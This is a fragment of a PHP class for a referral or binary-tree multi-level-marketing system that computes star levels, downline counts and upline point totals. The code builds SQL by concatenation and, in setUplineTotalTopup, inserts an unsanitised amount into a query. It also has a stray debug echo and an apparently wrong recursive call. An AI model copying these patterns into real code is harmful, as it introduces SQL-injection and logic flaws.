        $stars = 0;
        if ($total_downline >= 2) {
            while ($stars <= $max_stars) {
                $min_deposit = ($stars > 0 ? pow(4, $stars) : 1) * $transactionsetting['min_global_share_balance'];
                if ($total_deposit >= $min_deposit) {
                    $stars++;
                } else {
                    break;
                }

            }

            $db->query("UPDATE user SET stars_level = " . $db->clean($stars) . " WHERE userid = '" . $db->clean($parentid) . "'");
        }

    }

    function getStarsLevel_2($parentid, $stars = 0)
    {
        global $db, $general, $transactionsetting;

        $sql = "";
        if ($stars > 0) {
            $sql = " AND stars_level >= " . $db->clean($stars);
        }

        $db1 = $db->fetch_one("SELECT COUNT(userid) as total_downline FROM user WHERE parentid = '" . $db->clean($parentid) . "'" . $sql);

        $db1['total_downline'] = empty($db1['total_downline']) ? 0 : $db1['total_downline'];

        $min_deposit = ($stars > 0 ? pow(4, $stars) : 1) * $transactionsetting['min_global_share_balance'];

        $total_deposit = $this->getDownlineDeposit($parentid);
        echo $total_deposit;

        if ($db1['total_downline'] >= 2 && $total_deposit >= $min_deposit) {
            $stars++;
        }

        $members_db = $db->fetch_all("SELECT * FROM user WHERE parentid = '" . $db->clean($parentid) . "'");
        if (sizeof($members_db) > 0) {
            foreach ($members_db as $row) {
                $parentid = $row['userid'];

                $stars = $this->getStarsLevel($parentid, $stars);
            }
        }

        return $stars;

    }

    function savePointHistory($transactionnumber, $nominal, $userid)
    {
        $this->setId($userid);
        $dtl = $this->getUserDetail();
        $email = empty($dtl['email']) ? '-' : $dtl['email'];

        $inserts['transactionnumber'] = $transactionnumber;
        $inserts['transaction_type'] = 'bonus_point';
        $inserts['notes'] = 'Deposit dari member `' . $email . '`';
        $inserts['transactiondate'] = 'now()';
        $inserts['nominal'] = $nominal;
        $inserts['userid'] = $userid;

        $this->db->insert("transaction_history", $inserts);
        return true;
    }
	
	function isReferralDownline($id){
		global $userid, $verified;
		$upline = $this->db->fetch_one("SELECT parentid FROM user WHERE userid = '".$this->db->clean($id)."'");
		$parent = empty($upline['parentid']) ? 0 : $upline['parentid'];
		if (empty($parent) || $parent == -1){
			return;
		}
		else if ($parent == $userid){
			$verified = true;
			return;
		}
		else{
			$this->isReferralDownline($parent);
		}
	}
	
	function isTreeDownline($id){
		global $userid, $verified;
		$upline = $this->db->fetch_one("SELECT parent_tree FROM user WHERE userid = '".$this->db->clean($id)."'");
		$parent = empty($upline['parent_tree']) ? 0 : $upline['parent_tree'];
		if (empty($parent) || $parent == -1){
			return;
		}
		else if ($parent == $userid){
			$verified = true;
			return;
		}
		else{
			$this->isTreeDownline($parent);
		}
	}
	
	function isTreeOuter($id){
		global $userid, $outer_verified, $initial;
		$upline = $this->db->fetch_one("SELECT parent_tree, `left`, `right` FROM user WHERE userid = '".$this->db->clean($id)."'");
		$parent = empty($upline['parent_tree']) ? 0 : $upline['parent_tree'];
		$parent_node = $this->db->fetch_one("SELECT parent_tree, `left`, `right` FROM user WHERE userid = '".$this->db->clean($parent)."'");
		if (empty($parent) || $parent == -1 || $parent == $userid){
			$current = ($parent_node['left'] == $id) ? 'left' : 'right';
			if ($current != $initial && !empty($initial)){
				$outer_verified = false;
			}
			if (empty($initial)){
				$initial = $current;
			}
			return;
		}
		else{
			if (empty($initial)){
				$initial = ($parent_node['left'] == $id) ? 'left' : 'right';
				//echo $initial;
			}
			else{
				$current = ($parent_node['left'] == $id) ? 'left' : 'right';
				//echo $current;
				if ($current != $initial){
					$outer_verified = false;
					return;
				}
			}
			$this->isTreeOuter($parent);
		}
	}
	
	function setUplineTotalDownline($userid){
		$this->db->query("UPDATE user set total_all_downline = total_all_downline + 1 WHERE userid = '".$this->db->clean($userid)."'");
		$parent = $this->db->fetch_one("SELECT parentid FROM user WHERE userid = '".$this->db->clean($userid)."'");
		$parent_id = empty($parent['parentid']) ? 0 : $parent['parentid'];
		if (empty($parent_id) || $parent_id == -1){
			return true;
		}
		else{
			$this->setUplineTotalDownline($parent_id);
		}
	}
	
	function setUplineTotalDownlineTree($userid){
		$current = $this->db->fetch_one("SELECT parent_tree FROM user WHERE userid = '".$this->db->clean($userid)."'");
		$parent_id = empty($current['parent_tree']) ? 0 : $current['parent_tree'];
		$parent = $this->db->fetch_one("SELECT `left`, `right` FROM user WHERE userid = '".$this->db->clean($parent_id)."'");
		$left = empty($parent['left']) ? 0 : $parent['left'];
		$right = empty($parent['right']) ? 0 : $parent['right'];
		if ($left == $userid){
			$this->db->query("UPDATE user set total_downline_left = total_downline_left + 1 WHERE userid = '".$this->db->clean($parent_id)."'");
		}
		else if ($right == $userid){
			$this->db->query("UPDATE user set total_downline_right = total_downline_right + 1 WHERE userid = '".$this->db->clean($parent_id)."'");
		}
		if (empty($parent_id) || $parent_id == -1){
			return true;
		}
		else{
			$this->setUplineTotalDownlineTree($parent_id);
		}
	}
	
	function setUplineTotalTopup($amount, $userid){
		$current = $this->db->fetch_one("SELECT parent_tree FROM user WHERE userid = '".$this->db->clean($userid)."'");
		$parent_id = empty($current['parent_tree']) ? 0 : $current['parent_tree'];
		$parent = $this->db->fetch_one("SELECT `left`, `right` FROM user WHERE userid = '".$this->db->clean($parent_id)."'");
		$left = empty($parent['left']) ? 0 : $parent['left'];
		$right = empty($parent['right']) ? 0 : $parent['right'];
		if ($left == $userid){
			$this->db->query("UPDATE user set point_left = point_left + ".$amount." WHERE userid = '".$this->db->clean($parent_id)."'");
		}
		else if ($right == $userid){
			$this->db->query("UPDATE user set point_right = point_right + ".$amount." WHERE userid = '".$this->db->clean($parent_id)."'");
		}
		if (empty($parent_id) || $parent_id == -1){
			return true;
		}
		else{
			$this->setUplineTotalTopup($amount, $parent_id);
		}
	}
}

?>